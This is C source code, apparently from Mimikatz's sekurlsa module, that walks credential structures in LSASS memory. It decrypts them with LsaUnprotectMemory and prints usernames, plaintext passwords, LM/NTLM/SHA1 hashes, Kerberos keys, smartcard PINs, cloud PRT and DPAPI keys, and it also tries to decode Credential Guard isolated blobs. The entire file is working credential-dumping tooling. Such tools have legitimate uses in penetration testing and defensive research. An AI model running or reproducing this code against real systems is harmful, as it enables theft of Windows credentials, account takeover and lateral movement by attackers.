  VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, ULONG flags)
  {
  	PUNICODE_STRING username = NULL, domain = NULL, password = NULL;
  	PKIWI_CREDENTIAL_KEYS pKeys = NULL;
  	PKERB_HASHPASSWORD_GENERIC pHashPassword;
  	UNICODE_STRING buffer;
  	DWORD type, i;
  	BOOL isNull = FALSE;
  	PWSTR sid = NULL;
  	PBYTE msvCredentials;
  	const MSV1_0_PRIMARY_HELPER * pMSVHelper;
  #if defined(_M_X64) || defined(_M_ARM64)
  	DWORD cbLsaIsoOutput;
  	PBYTE lsaIsoOutput = NULL;
  	PLSAISO_DATA_BLOB blob = NULL;
  #endif
  	SHA_CTX shaCtx;
  	SHA_DIGEST shaDigest;
  
  	if(mesCreds)
  	{
  		ConvertSidToStringSid(pData->pSid, &sid);
  		if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL)
  		{
  			type = flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL_MASK;
  			if(msvCredentials = (PBYTE) ((PUNICODE_STRING) mesCreds)->Buffer)
  			{
  				if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
  					(*lsassLocalHelper->pLsaUnprotectMemory)(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length);
  
  				switch(type)
  				{
  					case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY:
  						pMSVHelper = kuhl_m_sekurlsa_msv_helper(pData->cLsass);
  						kull_m_string_MakeRelativeOrAbsoluteString(msvCredentials, (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToLogonDomain), FALSE);
  						kull_m_string_MakeRelativeOrAbsoluteString(msvCredentials, (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToUserName), FALSE);
  						kprintf(L"\n\t * Username : %wZ\n\t * Domain   : %wZ", (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToUserName), (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToLogonDomain));
  						if(!pMSVHelper->offsetToisIso || !*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisIso))
  						{
  							if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword))
  							{
  								kprintf(L"\n\t * LM       : ");
  								kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToLmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
  							}
  							if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword))
  							{
  								kprintf(L"\n\t * NTLM     : ");
  								kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToNtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
  							}
  							if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))
  							{
  								kprintf(L"\n\t * SHA1     : ");
  								kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToShaOwPassword, SHA_DIGEST_LENGTH, 0);
  							}
  							if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)))
  								kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? msvCredentials + pMSVHelper->offsetToNtOwfPassword : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? msvCredentials + pMSVHelper->offsetToShaOwPassword : NULL, NULL, NULL);
  						}
  						#if defined(_M_X64) || defined(_M_ARM64)
  						else
  						{
  							i = *(PUSHORT) (msvCredentials + pMSVHelper->offsetToIso);
  							if((i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) ||
  								i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 3*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH))
  							{
  								if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso), &lsaIsoOutput, &cbLsaIsoOutput))
  								{
  									if(cbLsaIsoOutput == (2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH))
  									{
  										if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword))
  										{
  											kprintf(L"\n\t     * NTLM    : ");
  											kull_m_string_wprintf_hex(lsaIsoOutput, LM_NTLM_HASH_LENGTH, 0);
  										}
  										if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword))
  										{
  											kprintf(L"\n\t     * LM      : ");
  											kull_m_string_wprintf_hex(lsaIsoOutput + LM_NTLM_HASH_LENGTH, LM_NTLM_HASH_LENGTH, 0);
  										}
  										if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))
  										{
  											kprintf(L"\n\t     * SHA1    : ");
  											kull_m_string_wprintf_hex(lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH, SHA_DIGEST_LENGTH, 0);
  										}
  										if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)))
  											kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? lsaIsoOutput : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH : NULL, NULL, NULL);
  									}
  									else
  									{
  										PRINT_ERROR(L"Size error for NtlmHash LsaIso output (%u)\n", cbLsaIsoOutput);
  										kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1 | (16 << 16));
  										kprintf(L"\n");
  									}
  									LocalFree(lsaIsoOutput);
  								}
  							}
  							else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i);
  						}
  						#endif
  						if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected))
  						{
  							kprintf(L"\n\t * DPAPI    : ");
  							kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000
  						}
  						break;
  				case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
  					if(kull_m_rpc_DecodeCredentialKeys(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length, &pKeys))
  					{
  						for(i = 0; i < pKeys->count; i++)
  							kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[i], sid);
  						kull_m_rpc_FreeCredentialKeys(&pKeys);
  					}
  					break;
  				default:
  					kprintf(L"\n\t * Raw data : ");
  					kull_m_string_wprintf_hex(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length, 1);
  				}
  			}
  		}
  		else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CLOUDAP_PRT)
  		{
  			if(mesCreds->UserName.Buffer)
  			{
  				if(kull_m_process_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem))
  				{
  					if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
  						(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->UserName.Buffer, mesCreds->UserName.MaximumLength);
  					kprintf(L"\n\t     PRT      : %Z", &mesCreds->UserName);
  					LocalFree(mesCreds->UserName.Buffer);
  				}
  			}
  			if(mesCreds->Password.Buffer)
  			{
  				if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
  					(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength);
  				A_SHAInit(&shaCtx);
  				A_SHAUpdate(&shaCtx, mesCreds->Password.Buffer, mesCreds->Password.Length);
  				A_SHAFinal(&shaCtx, &shaDigest);
  
  				kprintf(L"\n\t     DPAPI Key: ");
  				kull_m_string_wprintf_hex(mesCreds->Password.Buffer, mesCreds->Password.Length, 0);
  				kprintf(L" (sha1: ");
  				kull_m_string_wprintf_hex(shaDigest.digest, sizeof(shaDigest.digest), 0);
  				kprintf(L")");
  
  				if(sid)
  					kuhl_m_dpapi_oe_credential_add(sid, NULL, NULL, shaDigest.digest, NULL, NULL);
  			}
  		}
  		else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_PINCODE)
  		{
  			kprintf(L"\n\t * Smartcard"); 
  			if(mesCreds->UserName.Buffer)
  			{
  				if(kull_m_process_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem))
  				{
  					if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
  						(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->UserName.Buffer, mesCreds->UserName.MaximumLength);
  					kprintf(L"\n\t     PIN code : %wZ", &mesCreds->UserName);
  					LocalFree(mesCreds->UserName.Buffer);
  				}
  			}
  			if(mesCreds->Domaine.Buffer)
  			{
  				kprintf(
  					L"\n\t     Card     : %s"
  					L"\n\t     Reader   : %s"
  					L"\n\t     Container: %s"
  					L"\n\t     Provider : %s",
  					(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[0],
  					(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[1],
  					(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[2],
  					(PBYTE) mesCreds->Domaine.Buffer + 4 * sizeof(DWORD) + sizeof(wchar_t) * ((PDWORD) mesCreds->Domaine.Buffer)[3]
  					);
  			}
  		}
  		else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST)
  		{
  			pHashPassword = (PKERB_HASHPASSWORD_GENERIC) mesCreds;
  			kprintf(L"\t   %s ", kuhl_m_kerberos_ticket_etype(pHashPassword->Type));
  			if(buffer.Length = buffer.MaximumLength = (USHORT) pHashPassword->Size)
  			{
  				buffer.Buffer = (PWSTR) pHashPassword->Checksump;
  				if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem))
  				{
  					#if defined(_M_X64) || defined(_M_ARM64)
  					if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10) && (pHashPassword->Size > (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data)))
  					{
  						if(pHashPassword->Size <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
  						{
  							if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer, &lsaIsoOutput, &cbLsaIsoOutput))
  							{
  								kprintf(L"\n\t     * Key     : ");
  								kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 0);
  								LocalFree(lsaIsoOutput);
  							}
  						}
  						else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size);
  					}
  					else
  					#endif
  					{
  						if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
  							(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength);
  						kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0);
  					}
  					LocalFree(buffer.Buffer);
  				}
  			}
  			else kprintf(L"<no size, buffer is incorrect>");
  			kprintf(L"\n");
  		}
  		else
  		{
  			if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10)
  				mesCreds->Password = ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL) mesCreds)->Password;
  			else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10_1607)
  			{
  				switch(((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->type)
  				{
  				#if defined(_M_X64) || defined(_M_ARM64)
  				case 1:
  					mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0;
  					mesCreds->Password.Buffer = NULL;
  					buffer.Length = buffer.MaximumLength = (USHORT) ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->IsoPassword.StructSize;
  					buffer.Buffer = (PWSTR) ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->IsoPassword.isoBlob;
  					if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem))
  						blob = (PLSAISO_DATA_BLOB) buffer.Buffer;
  					//break;
  					//TODO: to check another day :)
  				#endif
  				case 0:
  					// no creds
  					mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0;
  					mesCreds->Password.Buffer = NULL;
  					break;
  				case 2:
  					mesCreds->Password = ((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->Password;
  					break;
  				default:
  					PRINT_ERROR(L"Unknown version in Kerberos credentials structure\n");
  				}
  			}
  			
  			if(mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer || mesCreds->Password.Buffer)
  			{
  				if(kull_m_process_getUnicodeString(&mesCreds->UserName, cLsass.hLsassMem) && kull_m_string_suspectUnicodeString(&mesCreds->UserName))
  				{
  					if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN))
  						username = &mesCreds->UserName;
  					else
  						domain = &mesCreds->UserName;
  				}
  				if(kull_m_process_getUnicodeString(&mesCreds->Domaine, cLsass.hLsassMem) && kull_m_string_suspectUnicodeString(&mesCreds->Domaine))
  				{
  					if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN))
  						domain = &mesCreds->Domaine;
  					else
  						username = &mesCreds->Domaine;
  				}
  				if(kull_m_process_getUnicodeString(&mesCreds->Password, cLsass.hLsassMem) /*&& !kull_m_string_suspectUnicodeString(&mesCreds->Password)*/)
  				{
  					if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
  						(*lsassLocalHelper->pLsaUnprotectMemory)(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength);
  					password = &mesCreds->Password;
  				}
  
  				if(password || !(flags & KUHL_SEKURLSA_CREDS_DISPLAY_WPASSONLY))
  				{
  					kprintf((flags & KUHL_SEKURLSA_CREDS_DISPLAY_LINE) ?
  						L"%wZ\t%wZ\t"
  						:
  						L"\n\t * Username : %wZ"
  						L"\n\t * Domain   : %wZ"
  						L"\n\t * Password : "
  						, username, domain);
  
  						if(password)
  						{
  							if(kull_m_string_suspectUnicodeString(password))
  							{
  								if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS))
  									kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer);
  								else kprintf(L"%wZ", password);
  							}
  							else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1);
  						}
  						#if defined(_M_X64) || defined(_M_ARM64)
  						else if(blob)
  						{
  							if(kuhl_m_sekurlsa_genericLsaIsoOutput(blob, &lsaIsoOutput, &cbLsaIsoOutput))
  							{
  								kprintf(L"\n\t     * Password: ");
  								buffer.Length = buffer.MaximumLength = (USHORT) cbLsaIsoOutput;
  								buffer.Buffer = (PWSTR) lsaIsoOutput;
  								if((cbLsaIsoOutput < USHRT_MAX) && kull_m_string_suspectUnicodeString(&buffer))
  									kprintf(L"%wZ", &buffer);
  								else kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1);
  								LocalFree(lsaIsoOutput);
  							}
  							LocalFree(blob);
  						}
  						#endif
  						else kprintf(L"(null)");
  
  						if(username)
  							kuhl_m_sekurlsa_trymarshal(username);
  
  				}
  
  				if(username)
  					LocalFree(username->Buffer);
  				if(domain)
  					LocalFree(domain->Buffer);
  				if(password)
  					LocalFree(password->Buffer);
  			}
  		}
  		if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NEWLINE)
  			kprintf(L"\n");
  
  		if(sid)
  			LocalFree(sid);
  	}
  	else kprintf(L"LUID KO\n");
  }
  
  VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential)
  {
  	PWSTR buffer;
  	CRED_MARSHAL_TYPE type;
  	PVOID Credential;
  
  	if(MarshaledCredential->Length && MarshaledCredential->Buffer)
  	{
  		if(buffer = (PWSTR) LocalAlloc(LPTR, MarshaledCredential->Length + sizeof(wchar_t)))
  		{
  			RtlCopyMemory(buffer, MarshaledCredential->Buffer, MarshaledCredential->Length);
  			if(CredIsMarshaledCredential(buffer))
  			{
  				kprintf(L"\n\t * Marshaled: ");
  				if(CredUnmarshalCredential(buffer, &type, &Credential))
  				{
  					switch(type)
  					{
  					case CertCredential:
  						if(((PCERT_CREDENTIAL_INFO) Credential)->cbSize == sizeof(CERT_CREDENTIAL_INFO))
  						{
  							kprintf(L"[Cert] SHA1:");
  							kull_m_string_wprintf_hex(((PCERT_CREDENTIAL_INFO) Credential)->rgbHashOfCert, CERT_HASH_LENGTH, 0);
  						}
  						else PRINT_ERROR(L"Credential->cbSize is %u\n", ((PCERT_CREDENTIAL_INFO) Credential)->cbSize);
  						break;
  					case UsernameTargetCredential:
  						kprintf(L"[UsernameTarget] %s\n", ((PUSERNAME_TARGET_CREDENTIAL_INFO) Credential)->UserName);
  						break;
  					case BinaryBlobCredential:
  						kprintf(L"[BinaryBlob] ");
  						kull_m_string_wprintf_hex(((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->pbBlob, ((PBINARY_BLOB_CREDENTIAL_INFO) Credential)->cbBlob, 1);
  						break;
  					case UsernameForPackedCredentials:
  						kprintf(L"[UsernameForPacked] ?");
  						break;
  					default:
  						kprintf(L"[?] ?");
  					}
  					CredFree(Credential);
  				}
  				else PRINT_ERROR_AUTO(L"CredUnmarshalCredential");
  			}
  			LocalFree(buffer);
  		}
  	}
  }
  
  VOID kuhl_m_sekurlsa_genericKeyOutput(PKIWI_CREDENTIAL_KEY key, LPCWSTR sid)
  {
  	if(key && key->cbData)
  	{
  		switch(key->type)
  		{
  		case CREDENTIALS_KEY_TYPE_NTLM:
  			kprintf(L"\n\t * NTLM     : ");
  			if(sid)
  				kuhl_m_dpapi_oe_credential_add(sid, NULL, key->pbData, NULL, NULL, NULL);
  			break;
  		case CREDENTIALS_KEY_TYPE_SHA1:
  			kprintf(L"\n\t * SHA1     : ");
  			if(sid)
  				kuhl_m_dpapi_oe_credential_add(sid, NULL, NULL, key->pbData, NULL, NULL);
  			break;
  		case CREDENTIALS_KEY_TYPE_ROOTKEY:
  			kprintf(L"\n\t * RootKey  : ");
  			break;
  		case CREDENTIALS_KEY_TYPE_DPAPI_PROTECTION:
  			kprintf(L"\n\t * DPAPI    : ");
  			if(sid)
  				kuhl_m_dpapi_oe_credential_add(sid, NULL, NULL, NULL, key->pbData, NULL);
  			break;
  		default:
  			kprintf(L"\n\t * %08x : ", key->type);
  		}
  		kull_m_string_wprintf_hex(key->pbData, key->cbData, 0);
  	}
  }
  
  BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob, LPBYTE *output, DWORD *cbOutput)
  {
  	BOOL status = TRUE;
  	kprintf(L"\n\t   * LSA Isolated Data: %.*S", blob->typeSize, blob->data);
  	kprintf(L"\n\t     KdfContext: "); kull_m_string_wprintf_hex(blob->KdfContext, sizeof(blob->KdfContext), 0);
  	kprintf(L"\n\t     Tag       : "); kull_m_string_wprintf_hex(blob->Tag, sizeof(blob->Tag), 0);
  	kprintf(L"\n\t     AuthData  : "); kull_m_string_wprintf_hex(&blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, 0);
  	kprintf(L"\n\t     Encrypted : "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->szEncrypted, 0);
  	if(blob->szEncrypted && output && cbOutput)
  		status = kuhl_m_sekurlsa_sk_tryDecode(blob, output, cbOutput);
  	return status;
  }
  
  VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(PENC_LSAISO_DATA_BLOB blob, DWORD size)
  {
  	kprintf(L"\n\t   * unkData1 : "); kull_m_string_wprintf_hex(blob->unkData1, sizeof(blob->unkData1), 0);
  	kprintf(L"\n\t     unkData2 : "); kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0);
  	kprintf(L"\n\t     Encrypted: "); kull_m_string_wprintf_hex(blob->data, size - FIELD_OFFSET(ENC_LSAISO_DATA_BLOB, data), 0);
  }